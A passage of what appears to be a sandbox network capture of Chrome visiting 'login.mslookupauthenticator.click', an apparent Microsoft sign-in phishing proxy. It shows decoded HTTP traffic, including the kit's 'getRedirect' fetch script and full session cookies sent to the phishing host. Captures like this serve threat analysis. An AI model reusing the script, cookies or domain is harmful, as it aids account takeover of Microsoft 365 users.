esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
2024-12-10 14:09:53 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:53 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:53 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:53 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:53 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:53 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-12-10 14:09:53 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-12-10 14:09:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:53 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49797	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:53 UTC	2942	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-12-10 14:09:54 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:54 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:54 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:54 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-12-10 14:09:54 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 34 3a 30 39 3a 35 33 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 10 Dec 2024 14:09:53 GMT
2024-12-10 14:09:54 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-12-10 14:09:54 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
2024-12-10 14:09:54 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-12-10 14:09:54 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-12-10 14:09:54 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2024-12-10 14:09:54 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49798	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:53 UTC	2021	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49799	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:53 UTC	2040	OUT	GET /favicon.ico HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-12-10 14:09:54 UTC	24	IN	HTTP/1.1 404 Not Found
2024-12-10 14:09:54 UTC	24	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a Data Ascii: Cache-Control: private
2024-12-10 14:09:54 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:54 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 34 3a 30 39 3a 35 33 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 10 Dec 2024 14:09:53 GMT
2024-12-10 14:09:54 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-12-10 14:09:54 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-12-10 14:09:54 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2024-12-10 14:09:54 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}
2024-12-10 14:09:54 UTC	80	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2024-12-10 14:09:54 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:54 UTC	49	IN	Data Raw: 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 35 36 38 2e 33 20 2d 20 4e 43 55 53 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a Data Ascii: X-Ms-Ests-Server: 2.1.19568.3 - NCUS ProdSlices

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49800	152.199.21.175	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:54 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:54 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5920020 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Tue, 10 Dec 2024 14:09:54 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-10 14:09:54 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-10 14:09:54 UTC	1	IN	Data Raw: 29 Data Ascii: )
2024-12-10 14:09:54 UTC	16383	IN	Data Raw: 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 Data Ascii: )}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t)
2024-12-10 14:09:55 UTC	16383	IN	Data Raw: 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 Data Ascii: P_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"800411
2024-12-10 14:09:55 UTC	16383	IN	Data Raw: 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 Data Ascii: "UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0
